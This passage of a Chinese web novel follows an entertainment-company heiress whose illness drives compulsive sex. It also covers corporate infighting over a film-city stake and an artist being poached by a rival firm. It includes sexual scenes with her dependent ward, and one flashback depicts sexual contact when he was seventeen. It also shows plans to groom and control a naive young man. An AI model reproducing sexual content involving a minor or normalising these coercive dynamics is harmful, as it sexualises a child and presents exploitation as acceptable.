会议室内,宋折凝身边带着两个私人律师,一如往常那样单刀直入。 邱芜澜抬眸,定定地望着宋折凝,宋折凝回视她,脸上却没有平常的那些笑意,绷得很紧。 她很认真。 “宋姐,怎么突然对影视城的项目感兴趣了?”邱芜澜笑道。 “我是公司最早的员工,也是股东之一,当然感兴趣。” 邱芜澜支着额角,状似为难,“这个项目的私募早就结束了,宋姐,我真没想到你会有意向。” “没关系,还没建成落地,这么大的项目追加一个亿而已,不痛不痒。”宋折凝满不在乎,“就当我送个花篮咯。” 她姿态十分强硬,邱芜澜接收到了这一讯息,可大脑给出的反应浑浑噩噩,半梦半醒。 借着撑额角的手,邱芜澜勉强支起了头,没让自己昏睡过去。 这样不行,她的状态支撑不了这个话题。 “好吧,”邱芜澜道,“我稍后去和参与的股东们讲一下,我想他们也不会不卖宋姐的面子。” “哪用这么麻烦,”宋折凝盯着她,“你手上的股权分我一点不就好啦。知道你忙,你看,我连律师都带来了,直接在这儿敲定合同吧。” 一层又一层的纱布缠上了邱芜澜的五感,她没能听清宋折凝的话。 空气似乎变得潮湿,浓重的水汽盈满了整个空间,细小的水珠绵密地蒙在了她的口鼻眼耳上。 眼睑逐渐沉重,断断续续的声音还在不停。 “分我一点儿……律师……解决……” “邱总……宋女士是秋叶娱乐第一位ASHS……公司应该尊重、告知……” “没有理由拒绝……” 邱芜澜隐约听到水汽附着在物体上凝结成水珠的声音。 她听见玻璃上附着了一小片雾,这片雾如雨后森林,生机勃勃、很快长出了小小的菌菇。 微小的菌菇汇集一处,最终形成一颗瓢虫大小的水珠,从那块洁净的玻璃上滑落,坠入湖中,发出水润的咕咚声。 玻璃、天花板、沙发、她的身体无处不在凝结水汽。 铺天盖地的绝佳白噪音,催促她赶快入睡休息,但那断断续续的人声令她意识到,现在不是时候。 她强撑着精神,想要回到现实,可越是集中注意力,那些凝结声就越响,霉菌一样长满了她的五感七窍,阻止她清醒。 “邱总……邱总?” “……意见……分歧……” 邱芜澜焦躁起来,躁意鲜红滚烫,轰然将静谧的水汽染成血色。 清晰的森林霎时间变得绯红,那洁净的白雾化为红潮,顷刻之间消退,熛列的大火将一切美好幻景燃烧摧毁。 邱芜澜被烫得颤抖,也终于得以突破霉菌般的结界,回到了现实。 “不行。” “…什么?”宋折凝和两名侃侃而谈的律师愣了。 此前歪着上身,懒洋洋的邱芜澜突然变得凌厉。 她放下来支着额角的手,坐直了身体。 “宋姐,影视城首轮融资已经结束。您既然知道采用的是私募,就该明白股东们的想法。公司向来尊重ASHS,最大限度的给予了ASHS资源和自由,希望您也能尊重公司的决定。” ASHS,全称ArtistShareholder,是秋叶娱乐特有的一种激励性分红制度。 公司将艺人分为六个等级,最高级为A。 艺人抵达A级后,可以和公司签一份对赌协议,董事会根据艺人以往数据制定一年期目标,艺人对赌成功,便能拿到公司股份,其中20%公司转让,80%由艺人购买。 成为ASHS的条件相当苛刻,至今不过五位,宋折凝是第一个拿到秋叶娱乐分红的艺人股东。 听到邱芜澜的拒绝,宋折凝顿时冷下了脸。 不等她发作,邱芜澜复又松弛了身姿,“宋姐,说实话,影视城真不是什么盈利的项目。你自己跟过多少剧组,场地费用的开销,你心里有数。前三年是绝不可能实现盈利的。” “一个亿是不多,够拍几部大型电视剧,却不够影视城半块地皮。 “这时候投地产不是什么好选择,你要是手里闲余资金,我可以介绍几个投资项目给你。退一步说,公司策划池子里都有几个很值得投资的项目。” “我就是知道它不盈利、回报周期长,才想为公司出一份力的。”邱芜澜越是拒绝,宋折凝越是坚定,“芜澜,我不明白你为什么就是不肯答应,白送的钱也不要,这是什么道理?” 邱芜澜敛眸,良久,轻声叹息:“姐,将心比心。我花两个亿、花二十个亿,买你手里的秋叶股份,你答应么。” “这能一样吗!”宋折凝透出阴鸷烦躁,似乎还有些失望。 “算了,”她摆手起身,“你不答应就算了,当我没提过,姐先走了。” 她路过邱芜澜身侧时,拍了拍她的肩膀,“别往心里去啊。” 邱芜澜目送她和两个律师离开,宋折凝一走,简立刻推门而入。 看见邱芜澜时,她吓了一跳,忙用手去碰她的脸颊。 触手滚烫。 她端坐着,眉眼清冷,可两腮殷红,双眸更是亮得惊人,显现出病态的亢奋。 “我没事,”邱芜澜拂开简的手,“注意下宋折凝最近在和谁接触,为什么会突然执着起影视城项目。” 她的呼吸落在简的指尖,高烧般的温度让简更加担忧。 “邱总……小姐,”她换上如母如姐的口吻,“我找到个还不错的人选。” 邱芜澜抬眸睨了她一眼。 简道,“韩尘霄。” “不,”邱芜澜摇头,“不能是内部员工。” “但是…” “叫直升机来,”邱芜澜撑着扶手起身,“剩下的工作……我回家处理。” 她起身时趔趄了一下,那微卷的长发如被激流经过的海藻,晃动摇曳。右耳下,一颗金绿宝石耳坠连连摆动,折出华美的流光。 简忙扶住她,听见了更粗重的喘息。 邱芜澜倚着她,温热的兰草香贴上了简,在她耳边轻语:“排查一下有没有人泄露内部资料。把这件事汇报给哥哥,也通知泽安一声。” 气氛升温,邱芜澜出口的话语依旧条理清晰。 简带她去了顶楼,和瑚城其他大厦一样,秋叶娱乐的楼顶是停机坪。 直升机已然就位,简整理好了邱芜澜未处理完的工作,送她回了别墅。 “韩尘霄不行的话,还有几个备选。”她搀着邱芜澜上床,实在放心不下,再一次提起了话题。 “今天不行,”邱芜澜摇头,“不行,今天不行。” 她的眼眸有些涣散了,难以维持清醒,说话有些拖沓,“记得刚才让你办的事。” 简眼眶泛红,喑哑的嗯了一声。 田烨之后,她立刻物色起了新的人选。 她可以找人过来,但就如邱芜澜所说的那样——今天不行。 邱芜澜的状态一眼就能看出不对劲,没有什么强劲的春.药会让人变成这幅模样,她现在的样子,要么是磕了毒,要么是生了病。 现实里的男人不是霸总小说里的傻白甜女主,和一个生理明显异常的顶级富豪过夜后,他们会想方设法地研究她、控制她、吸收她,绝不会放过邱芜澜身上的异状。 邱芜澜想要男人,比暴发户的女儿想要男人更加困难。 她的束缚太多,生理上的、名誉上的,以及心理上的束缚数不胜数。 简看得出,她对那些男人的态度是不耐烦的,他们不仅要花费她的时间精力,也象征着邱芜澜那摆脱不掉的恶病。 为了保守住秘密,邱芜澜不得不先和他们寒暄一番,应付他们时不时的示好、亲昵。 即便如此,邱芜澜花心滥情的名声还是传了出去。 和她交往过的男人里,也有如易蒲这般细心敏锐者注意到:邱芜澜压力大时,会有超出常人的性.欲。 当这些敏锐的男人探查到端倪时,简就不得不心惊胆战地立刻寻找新的人选。 今天的邱芜澜实在没法“寒暄”,简不敢冒险,只能放弃。 “那您先休息,我回公司了。” 她转身欲走,被邱芜澜拽住衣摆,“药……” “药带回来了,就在书房。您今天已经吃过了,不能再吃。” “不是我,”邱芜澜吃力瞌眸,“是泽安。” 简鼻子一酸,险些落泪。 “好,我先去确定一下,要是他情况稳定,我再把宋折凝的事汇报给他。” 邱芜澜这才松手。 她仰躺床上,指尖颤抖地去解套裙扣子。 简捂着嘴地关上房门。她拿出手机,准备去办邱芜澜交代的几件事,却在下楼时听见了开门声。 “简姨。” 少年微笑着冲她问好,简点头回应。 季尧看着她轻手轻脚又迅速地从楼上下来,表情一如既往的干练,眼睛却有些发红。 她哭了。 这个年近半百的女人将一生都奉献给了邱家,遵循邱家的教条而活,把事业和邱家放在首位,不屑于婚姻爱情,少有能触动她内心的人和事。 她急着去处理工作,从季尧身边路过时,他微微侧身,余光瞥向了她。 “姐姐没有吃药么?” 简疲惫地叹气,这份疲惫说不出是因为邱芜澜的病,还是宋折凝的反常,又或者单纯是在不耐烦要花费力气和季尧这种人解释。 “吃了,临时出了点事。”她越过他离开,“有事就打我的电话,我会立即过来。” 季尧抬步,朝着邱芜澜的房门走去。 每一步,他都能捕捉到急切混乱的低吟。 用药之后病发,往往带着报复性的反弹。 季尧握上了门把手,迟迟未动,掂量着自己的斤两。 如果他是邱芜澜的亲兄弟,那邱芜澜绝不会想在家人面前露出狼狈丑态。 如果他是邱家以外的人,邱芜澜会警惕他要挟自己、毁了集团和邱家。 季尧必须是足够亲近、值得信任又无关紧要的位置。 他叩响了门,将主导权交由邱芜澜。 “姐姐,是我。” 喘息稍停,片刻,响起女人微哑的嗓音:“进来。” 季尧按下门把,一室温热的兰草气涌向了他。 窗帘紧闭,只有暖色的灯带昏昏然地亮着。 他反手关门,走去床边,在女人身侧坐下。 米白色的丝绒大床上,邱芜澜一头海藻软发凌乱地散开,那对温柔典雅的金绿宝石藏在其中,半隐半露。 来不及脱衣,她的衬衫还挂在双臂上。 年轻的异性靠近,她本能倾身,捧住季尧的双脸,眯眸定定地看了好一会儿,才终于认出了他。 “阿尧……”她筋疲力尽地瞌眸,额头抵住了季尧,呼吸喷洒在他脸上,微痒。 “我忘记充电了。” “没关系的姐姐,”季尧覆上她的手背,依恋而乖巧地磨蹭她的掌心,“我在这里。” 邱芜澜倏地痉挛,她紧紧咬住下唇,白皙的双臂收紧,将季尧锁进怀中。 少年顺从地塌腰,和邱芜澜如出一辙的柔软卷发抵着她的下巴。 “抱歉阿尧,”她低声道歉,锁住他的力气却不容抗拒,“对不起……” 她像是用银笼锁住了一只漂亮的夜莺。 暗昧的房间里,响起了少年大口吞咽的声音。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 第20章【VIP】 第20章 第二十章 直到第二天傍晚, 情况才稍有好转。 邱芜澜恢复到了可以办公的状态。 她靠坐在床上,屈膝看着笔记本,没有系扣的胸口徐徐起伏着, 几缕卷发如蔷薇藤一般,从锁骨垂至腹部。 “嗯…”一声轻哼, 她敲打键盘的动作一顿,将电脑支架稍稍推开, 膝盖夹了夹季尧毛茸茸的脑袋。 宛如淑女.优雅地夹蹬马腹,催促胯.下的马儿小跑起来。 情况好转,可远不到结束。 催促之后, 邱芜澜拿起床头的玻璃杯补水。 她腹前微痒, 带一点湿滑的潮意, 少年如另一支蔷薇, 逆着邱芜澜头发的路径向上攀爬。 他撑在邱芜澜身上, 仰面撒娇, “渴。” 邱芜澜抚上他的侧脸, 将玻璃杯贴在季尧唇前,抬腕倾倒。 和那天晚上一样的动作,但不含戾气, 温柔宠溺。 季尧仰头配合着杯子的角度, 依旧有水从唇角流出。 半杯水喂完, 邱芜澜拆了颗巧克力送到季尧口中。 不是代糖,这次是货真价实、能够补充体力的糖分。 她将电脑支架拉下, 调出通讯界面给季尧, “该吃饭了。” 季尧转身,斜坐在姐姐腿间,找到农场的负责人, 懒洋洋地敲击键盘订菜。 伸手拔掉磁吸型充电线,他如猫咪舔毛一般舔舐湿润,轻轻推入蔷薇深处。 “我去做饭。”做完这些,他轻巧地下床,含着巧克力,抵着邱芜澜的鬓角深嗅,“姐姐喝酒么?” 邱芜澜指尖抵着他的额,没有用力,示意他自己退开,“不喝。” 季尧识趣地起身,去厨房准备食物。 邱芜澜闭了闭眼。 她不太喜欢和季尧做这做温存的小动作。 季尧太乖、太过便利好用,也太过美丽,让她忍不住升起占有。 兄弟之中,只有她的病和父亲是一样的。 邱芜澜不想成为第二个邱岸山,更不想季尧成为第二个季葶……甚至不愿他成为第二个囿于宅内的邱夫人。 她对季尧始终抱有一份愧疚。 和季尧的第一次,是她戒断失败后的爆发。 爆发得仓促,玩具太久没有充电,身边唯一的年轻男性——季尧,成了她发泄的对象。 那天季尧发表了人生的第一支歌,上百万女孩视他为偶像,反复听他歌唱;她却扯着他的头发,将他压去腹下。 那一天,季尧距离十八岁生日还有半个月。 她病得看不清季尧的脸,却还能拿出手机,打开录像。 “阿尧,”她轻声安抚,兴奋得肌肉紧绷,“如果你不愿意,可以离开,我尊重你的意愿。” 她忘了季尧的表情,他对着镜头似乎愣了很久,邱芜澜深呼吸着,坚定地举着手机,等待他的回答。 她不能犯法,集团和邱家不能惹上这种丑闻。 “姐姐……”好半晌,她感受到小腹前细碎的吻,“我是自愿的,没有任何人强迫我。” 邱芜澜感觉糟透了。 季尧不是女孩,即便是女孩,十六岁以上自愿则不违法。 但邱芜澜就是感觉糟透了,原来她和父亲没什么区别……不,她比父亲更虚伪、更恶心,至少父亲不会对未成年和从小养大的孩子下手。 没有人强迫季尧,可他根本没有反驳的力量。 他的妈妈在邱家、他的事业在邱芜澜手上,他的房子、车子、手机乃至衣服鞋袜全都由邱芜澜掌控。 一个从小由他人摆布的洋娃娃,如何能对主人说不。 她知道季尧不会拒绝她。 邱芜澜最后的良心让她没有触碰季尧,她只是用语言指引着他,抚摸一些脸、脖子、后背、手臂这样的安全区域。 她拒绝了少年的献吻,也不需要他进入。 邱芜澜感觉到了更深一层的荒谬。 她将他利用得骨头不剩,却觉得保留他的吻和初次就是没有伤害到他。 嗡嗡的机械声平稳地响着,被键盘轻易盖过。 列表之上,出现了新的消息。 简发来了两封邀请函。 “本月二十八号是云梦小姐的生日,她父亲邀请您和季尧一起参加。” 邱芜澜意外:“邀请季尧?” 简回复道,“他希望季尧能和云梦小姐多多接触。” 邱芜澜微微蹙眉,首先感到了荒唐。 季尧才多大,还是个学生,对方怎么会有这种想法。 不等她回绝,简再度发来讯息: “季尧过了二十岁生日后,陆续就来了一些邀请。小姐,需要我后续留意一下么?” 邱芜澜搭在键盘上的指尖一顿。 没了敲击声,细微的电动嗡鸣就此突出。 二十岁…… 邱芜澜有片刻的恍惚。 她当然知道季尧今年二十了,可直到简发来这封邀请时,她才猛地意识到:季尧,已经成人了。 再有两年,他就可以结婚,从现在开始相亲,一点儿也不算早。 邱芜澜脑中划过“云梦”的信息,比季尧小两岁,是个文静的女孩儿,文化课成绩不错,还弹得一手好钢琴。 这样绵软、单纯的姑娘,很让她省心。 虽然云梦在兴趣爱好上和季尧重合度不高,但也不是什么大问题。 邱芜澜沉吟着,回复了简—— “可以。” 看着那封粉白色的邀请函,邱芜澜无法避免地思考季尧的未来。 季尧对她是一场纯粹的服务,她从不碰季尧,不过正值青春的小家伙活力旺盛,不需要触碰就溃不成军。 他已二十,很快就会有女伴。 邱芜澜隐约察觉到季葶对季尧寄托了不切实际的期待,而季尧天生就懂得讨好年长的女性。 季葶的催促、季尧的天分和她的默许,纵容出了眼下混乱的关系。 即便季尧未来的恋人不是财阀政要,只是个普通人家的孩子,也不会接受男朋友和姐姐做这些事情。 随着季尧长大,他们之间的关系必须回归普通姐弟,而普通姐弟是不会住在一起的。 邱芜澜感到麻烦。 如果季尧不天天给她做饭,她就得忍受陌生的厨师每天进入自己的领地。 田烨的过激反应警醒了邱芜澜,很早之前,她便意识到了这种情人模式必然伴随极高的风险。 威逼利诱并不能保障安全,一旦田烨丧失理智、不管不顾地拉她下水,即便有他强闯别墅的监控录像,也会为公司和集团带来很大麻烦。 更换伴侣的次数越多,存在的风险隐患便越高。 不能再这么下去了,她需要认真培养一个长期伴侣——一个像季尧一样能够满足她一切需求,且不会背叛她的、稳定的、长远的伴侣。 从头培养,那就不能是精明、老练的男人,必须从尚且懵懂时开始调.教。 为保安全,那个人必须在她视野之内,接触到的所有人事物都要由她掌控。 邱芜澜想起了简提供的选项—— 韩尘霄。 敲击键盘的十指一顿,邱芜澜向下摸去,调高了一档。 韩尘霄似乎是个不错的选择。 他努力上进,年轻精壮,却还没有接触过太多世故,保留着一点儿青涩单纯,同时又比同龄人沉稳冷静。 “嗯……”邱芜澜挺腰,往身后加了靠枕,沉浸在稳定、激烈的旋律当中。 稳定且激烈,她喜欢这种直白的踏实感,喂一点点电费就能回馈她许多。 唯一的缺点是功能不够全面。 他不会有季尧那样的厨艺,也不像季尧那样了解她,每次见面总是费尽全力地说一些无趣的废话。 但他的话题比大多数男人清爽,不知道后续开发完善的潜力空间有多大。 邱芜澜不是偷懒耍滑的程序员,唯独在这件事上,她确实很想将季尧复制粘贴出一个来。 床头柜上的手机屏幕亮起。 邱芜澜眯眸,看见联系人的名字后,没有立刻接听,而是扭身唤醒床头柜的智能屏,点开了厨房区的通话设备。 “阿尧,过来。” 听见传唤,季尧很快上楼回到房中。 他带来了一盘糖渍橘皮,捻了一块喂给邱芜澜。 酸甜的滋味连同浓郁的橙橘气息刺激唾液分泌。 邱芜澜揉了把季尧的头,对糖渍橘皮表达满意,期待今天的晚餐,同时曲起腿,示意季尧为自己善后,接听了手机。 “邱总,”打来的是简,“昨天晚上,宋折凝和华映的赵志强一起吃了饭。” “这么快。” 等季尧擦拭干净,邱芜澜从床上起身,走到了密闭的窗帘前,拉开了一丝缝隙,没有光,帘外是比房内更暗的夜色。 季尧开始收拾房间,邱芜澜坐在靠窗的矮柜上,听着电话那头简的汇报。 入股被拒的第二天,宋折凝去了华映附近的一家私房餐厅。 对家的地盘,简没能探知他们谈话的内容。 包厢里,赵志强一见到宋折凝就忍不住笑了,“怎么,谁给我们宋姐气受了?” “别明知故问。”宋折凝抱着胸冷睇他,“我这人不爱绕弯子,有什么话都喜欢直说。” 赵志强笑着耸肩,请她继续。 “你猜得没错,邱芜澜不肯让我入股。” 赵志强给宋折凝倒了杯酒,“其实也说明不了什么。” “不,你说得对。”宋折凝冷笑,“分公司开始,很多项目她都瞒起来了。翅膀硬了,我们这些老人碍手了,下一步就该杯酒释兵权了。” “您是元老、是邱承澜签的,以邱芜澜对哥哥惟命是从的态度,不至于对您赶尽杀绝。” “赵经理,我说了我不喜欢弯弯绕绕。”宋折凝不耐烦道,“您告诉我影视城的事,又让我拿这事儿去试探邱芜澜,说白了就是想要离间我和她。现在您成功了,就别再装好人、说这些没用的。您想干什么,直说。” “好,宋姐爽快,那我也就不多废话了。” 赵志强手肘搁在桌上,凑近了她,双眼直勾勾地盯着宋折凝,“我要你离开秋叶娱乐,和华映签约。” 宋折凝一愣,旋即大笑起来。 “你不是在耍我吧?”她气笑了,“你搞清楚,我不仅是秋叶的艺人,更是股东,我犯得着背叛我自己的公司、去对家当个员工吗?” “双倍股权。”赵志强道,“您原先的团队都可以带过来,公司不干涉您的运作,所有人的违约金华映来出。 “公司新签的艺人,您有3%的挑选权,看中哪支潜力股都可以自己带,公司抽成新人95%,其中35%归到您手中。” 他从包里抽出文件,推到桌上,意味深长地笑,“老总想挖您很久了。” 宋折凝脸上的轻慢褪去,她微微拧眉,片刻,将那份文件翻开查看。 翻开第一页,季尧就笑了。 “这就是那个S级的剧本?把唐哥激动成这样,我还以为怎么着也是个男一号,原来只是个男三。” “可以了、可以了!”唐知行很满足,“你知道女一是谁吗!” “嗯?”季尧漫不经心地扫着剧情。 “季语薇!天后季语薇!” 连眼镜也挡不住唐知行的狂热,“男一还没确定,但这可是天后第一次做主演,本身的流量加上‘首次’的噱头,这部剧热度只高不低!” 陷在狂喜中的唐知行没有注意到季尧的眼神。 他捻着页脚,目光垂在女主角的台词上,浅棕色的瞳孔微深,澄净如玻璃糖的眼睛蒙上了一层雾色。 季语薇,这个名字并不陌生。 “更重要的是,你知道这部剧在哪里拍吗?” “哪里啊?”罗浩炆比季尧还激积极,很给面子的搭话。 “秋叶影视城!咱们自家的影视城!”唐知行合掌,“这是咱们影视城的开门试刀作!” “天呐,那公司得多重视啊!”罗浩炆无不艳羡地盯着季尧腿上的剧本。 这么大的制作,季尧一个从没演过戏的新晋偶像,连试镜都不用,直接内定男三号。 他怎么就没个总裁姐姐呢! 唐知行热情平复下来,把作好的周计划表发到两人手机上,“杨木这段时间请假,这是你们下周的行程表。” “他又请假?”罗浩炆诧异道,“唐哥,他不会真的身材焦虑症了吧?” “别瞎说。”唐知行斜了他一眼。 季尧哼笑。 唐知行不是个宽容的经纪人,他轻易批了杨木的长假,不仅是因为知道他得了双相、知道杨木这病里有几分他的缘故,更也是因为,他放弃杨木了。 没什么特点的网络歌手一抓一大把,杨木长相一般,寡言木讷,不擅社交,没什么表演天分,那点音乐才华也远不足以在娱乐圈开辟道路。 这个组合里,他是毫无疑问的陪跑,是最早牺牲的走卒。 “那队长呢?”罗浩炆嘟囔着抱怨,“怎么队长最近也看不到人了?” “他们有他们的事,管好你自己。”唐知行在他后脑上拍了一巴掌,眼中却含着两分笑。 他没有押错宝。 看这时间,尘霄和小邱总应该已经到了马场。 冬日午后,辽阔的草地被晒得微醺。 几匹高马载着人,和缓平静地在草地上漫步。 “芜澜有一匹拉塞法兰西拿了不少奖,”头发花白的老人笑着对身边的朋友说着,又问向邱芜澜道,“怎么这两年不见参赛了?” 邱芜澜骑在马背上,腰背中直,姿态松弛,勾着缰绳的手没有用力,只靠双腿控制马匹。 “年纪大了。”她回道。 老人笑着,眼纹深邃,“该买新马了。” “好马难求,一直想买,一直买不到。” “怎么会?”老人身侧的两个中年男人笑了起来,“今年夺冠的那匹,小邱总喜欢么?” “能力固然重要,”邱芜澜说,“不过私下里,我喜欢温和知趣儿一点的,那些冠军马太桀骜不驯,我恐怕没有时间调.教。” “呦,温和的马可没法夺冠啊。” “像那匹拉塞一样,”邱芜澜浅笑,“在我面前装得温和也行。” 他们身后传来了女人们的笑闹声。 四人回头,见落后他们两百米的一群青年们正嬉笑打闹着。 五六个美丽女郎坐在温顺的马上,中间是老人的小儿子,他说了什么,把姑娘们逗得乐不可支。 女郎们之后是表情有些僵硬的青年,他生涩地抓着缰绳,身体僵硬,全副注意力都在马上,融入不进面前的小团体。 “要叫人帮帮你们家的小伙子么?”老人握着马鞭,隔空指了指,“他看起来不太适应。” 邱芜澜说:“他不是不会,多练练就适应了。” “他很俊朗,”老人笑道,“但似乎没有那么温和。” “您说的,夺冠的马很难温和。”邱芜澜说,“我没那么苛刻,在我面前不狂就行了。” 男人们笑了起来,像是后面的年轻女郎围绕着老人家的三公子笑一样,他们围着邱芜澜笑。 这两种笑截然不同,后者即便有意讨好,谄媚中也残留着挥之不去的轻慢高傲。 二十岁后邱芜澜就没有再带季尧来这种场合,她也不会带其他男伴来。 以往她独自来时,以为男人们见不得女人和他们一样、甚至凌驾于他们之上,今天来看,他们也并非团结所有同性。 没有背景的男人在他们眼中也是“女人”。 阶级在性别之前,因为她比他们高了一个阶级,所以勉强能用那一级台阶去拉平性别上的差异。 这样的气氛中,邱芜澜很难不感到乏味。 过了三点,日光式微,一行人进了室内。 女郎们脱去厚重的外套,露出姣好的身姿,提议去台球室玩球。 邱芜澜和老人坐在一旁,看着男男女女玩在一起。 “小邱总来一杆。”男人邀请邱芜澜。 邱芜澜看向韩尘霄,“替我玩玩儿。” 韩尘霄的球技很好,据说高中时勤工俭学在台球店打过工。 那家店很快倒闭了,老板是个技术流,招的教练全都是技术一流却不会拉客办卡的退役高手,韩尘霄深习这份清流。 青年伏在桌上,像是一头下树的豹,目光专注,姿态刚强。 球和网在一条直线上,这一杆必然不会落空。 韩尘霄正要出杆,腰后倏地被人用力拍了一下。 啪——清脆的声音响在室内,他手指一颤,白球飞出了桌子。他和那颗球都愣住了,四周爆发出了哄笑和欢呼。 女郎们笑着去抢地上的球,疾声喊着:“没进没进!到小钟总了!” “哈哈哈哈不好意思,”男人搭着韩尘霄的肩膀,绕过他执起杆,出杆前揶揄地瞄了他一眼,“手感不错,屁股挺翘。” 更响亮的哄笑声爆发而出,将韩尘霄冷俊的脸逼得烧红。 啪—— 最后一颗球进了网袋,小钟总身边的两个女郎们雀跃欢呼,搂着他的脖颈笑着、叫着,声音几乎要顶破房顶。 输了的两个中年男人笑笑,从上衣口袋拿出支票本,写了几笔后撕下,被小钟总分给了两名女郎。 老人看向邱芜澜。 如此吵闹的环境,台球灯下的邱芜澜却像是博物馆中的一盅瓷。 莹莹射灯下,天鹅绒上的瓷娴静地存在着。 她被无数人参观,可并不在乎任何人的目光,兀自安静吸收头顶的光芒。 当一尊瓷足够贵重,便能独自开辟空间,纵使万人的展览,也不敢有人靠近、触碰她。 老人看见她冲那个生涩的青年招手,他还沉浸在被当众打屁股的难堪以及输了比赛的窘迫中。 邱芜澜招手的动作不大,她连小臂都没有抬起来,只是手腕微提,弹琴般的幅度。 就是这样小的动作,在闹腾的场合中依旧被不少人留心注意到。 韩尘霄立刻走了过来,像是初次进入狗狗公园的小土狗,带着一腔热情,却被其他名犬嘲笑,于是无助地回到了主人身旁。 他靠近之后,一米八多的个子投下阴影,完全覆盖了邱芜澜。 邱芜澜于是只得再次摆手,示意他蹲下。 这时候,他们才得以平视。 被拍的那一下有点儿重,韩尘霄抿着嘴,眼角微微泛红。 “没关系的,”邱芜澜碰了碰他微红的眼角,“还有下一局。” 她伸手去摸口袋,却没有摸到东西,人群中的中年男人立刻走了过来,将自己的支票本送到邱芜澜手上。 “谢谢。”邱芜澜颔首,拿笔在上面填了个数字。 她将支票撕下,塞进韩尘霄的口袋里,又替他整了整衣领,温声细语地开口:“别欺负我们家小韩,他还在念书。” 韩尘霄一愣,喧嚣昏暗的台球室内,他仰望着邱芜澜,微红的眼里漫起别样情愫,像是回南天的窗户,水雾朦胧。 接下来的游戏再没有出现意外插曲,那张支票也再没有从韩尘霄口袋里出去过。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 20-30 第21章 第二十一章 “行政那边把年会预案做好了, ”简问邱芜澜,“今年多加了个分公司,您要过目下么?” 彩釉茶杯落在邱芜澜手边, 芬芳的花香中携一丝水果的酸甜。 邱芜澜抿了一口,眉眼舒展了些许。 她问季尧, “有你的节目?” 季尧抱怨,“无聊的节目。” “集团那边要了谁?”邱芜澜问。 简报了几个艺人名字, 邱芜澜颔首,“你和行政、宣发那边商量着办吧,尽量配合集团需求。” “好。” 办公室门被轻叩, 简看见人后, 笑了。 “邱总, 您找我?”青年略有拘束地站在门口。 他戴着鸭舌帽, 身上是一件灰绿色的冲锋衣, 脸上还戴着黑色口罩, 显然是刚刚结束行程。 “唐知行说你和阿尧今天下午都空着, ”邱芜澜冲他微笑,“让阿尧教教你怎么泡茶。” 韩尘霄愣了愣,没有料到邱芜澜找他是让他学泡茶。 他看向季尧, 少年漂亮的浅棕色瞳孔里满是困惑:“姐姐要让我退休?” “你的名气越来越高, 行程也会越来越多, ”邱芜澜道,“会有不在我身边的时候。” 季尧半垂眼睑, 没有说什么, 所有人都知道,他不乐意。 半晌的寂静后,少年眨眼, “好吧队长,跟我来。” 他朝休息间走去,直到进入内里,都没等到邱芜澜收回话。 韩尘霄跟着他去了,略有不安地看了邱芜澜一眼。 他不明白邱芜澜的意思,自己的行程比季尧还满,为什么突然让他学习泡茶。 这是韩尘霄第一次进入邱芜澜的休息室,他悄悄打量的时候,季尧打开了几个柜门。 “茶在这儿,水在这儿。” 说完他就抬手示意,“随便做点什么吧。” 韩尘霄望着排列整齐的罐子,五花八门的茶具让他两眼一蒙。 他只用过白水加茶叶。 “这些……应该怎么用?”他手足无措地问季尧。 季尧啧了一声,“队长,你都没有手机的么。” 韩尘霄进一步感受到了季尧的不悦。 他想,季尧就像个被抢了妈妈的小男孩,不高兴也是正常的,毕竟从前邱芜澜只在乎他一个,现在却特地把他叫来,让他抢季尧的活儿。 “我不知道邱总叫我来是做这个。”韩尘霄尝试着摆弄那些器皿,低声对季尧解释,“我以为是工作上的……” “骑马好玩儿吗?” 韩尘霄正试图打消季尧的不悦,被季尧打断,“姐姐她很少带男人去商业社交场合,队长,好厉害啊。” 他倚着墙,似笑非笑地歪头看他。 韩尘霄表演课的分数不低,他知道这种笑是怎么形成的——弯起的嘴角、没有提起的苹果肌,以及充满打量的眼神。 “这下真的得改口叫‘尘霄哥’了。” 少年两部分表情同时加深,他唇边的笑意扩大、眼神里的温度也愈凉。 韩尘霄无从辩解,无端想起了邱芜澜前任们流传的那一句—— 季尧很不好相处。 “别紧张尘霄哥,”少年倏地笑了起来,“好歹你是我队长,比其他公司的艺人靠谱得多。” 他的表情一如教科书上对“灿烂”的描述,气氛陡然转变,韩尘霄松弛了下来。 他理解季尧。 如果邱芜澜是他的姐姐、是他的家人,他同样会对靠近她的其他男人抱有敌意。 她太完美了,优雅、知性,金钱像是她身上一枚首饰,即便没有这件首饰,邱芜澜本身也足够矜贵动人。 这样的女人,很难不惹来恶意的觊觎。 “我明白你的意思。”韩尘霄埋在口罩里闷声道,“邱总未必这么看待我。” “尘霄哥怎么看待姐姐?” 韩尘霄舀茶的手指一颤,轻薄的干花顿时掉落地上。他蹲下身去捡,季尧的角度得以看见青年口罩外发红的耳尖。 季尧定定地盯着那截耳朵,倏地开口,“尘霄哥,你知道剪耳么。” 这话题有些突兀,韩尘霄想了下,“你是说杜宾那种,让耳朵立起来的手术。” “对。”季尧扬唇,“尘霄哥,你会给狗做剪耳么。” “不会。”韩尘霄忙着收拾洒落的茶叶,“太残忍了,没有必要。” 季尧意味深长的哦了一声,对着韩尘霄泛红的耳尖笑道,“我会。不止剪耳,我还喜欢剪尾。” “需要帮忙么?”简出现在门口,温和地注视蹲在地上捡茶的韩尘霄。 韩尘霄慌忙起身,摇了摇头。 “邱总那里已经有茶了,这边不急,你慢慢来。” 她说完,下颚微抬,又对后面一点的季尧说,“下午有个会议,邱总晚点和你一起走。” 季尧应道,“好哦。” 十几分钟后,外间传来响动,邱芜澜去了会议室,韩尘霄也对着手机教程泡好了人生中第一杯花茶。 他期待着季尧的评价,季尧喝了一口,点点头:“是全新的味道,难以想象这么高级的材料能泡出这种味道。” 韩尘霄拉下口罩:“好吧,我重做。” 整个下午他都在反复泡茶,季尧这个老师唯一给出的指示就是让他查手机。 眼看就要到下班时间,韩尘霄收拾了残局,把几十杯茶倒进了水槽。 他其实觉得差不多了,可季尧始终不满意。 他忍不住问:“为什么这里都是花干和果干。”说是泡茶,却看不到普通的绿白红茶。 “因为姐姐只喝花茶和果茶。”季尧倚在墙上,玩着手机,答得理所应当。 “邱总不喝咖啡吗?”韩尘霄印象里年轻一代的金融精英都是咖啡不离手,只有老一辈的董事长领导们才会喝茶。 “不喝。”季尧道,“姐姐家里所有人都不喝咖啡。” 他站累了,操作着游戏走出茶水间,趴去了外面的沙发上。 韩尘霄撸了把头发,看着无人的办公室,本想等邱芜澜回来和她打个招呼再走,可又想起了件事,神色稍有迟疑。 季尧趴在沙发上专心致志地打着游戏机,没有注意到他这边的动作。 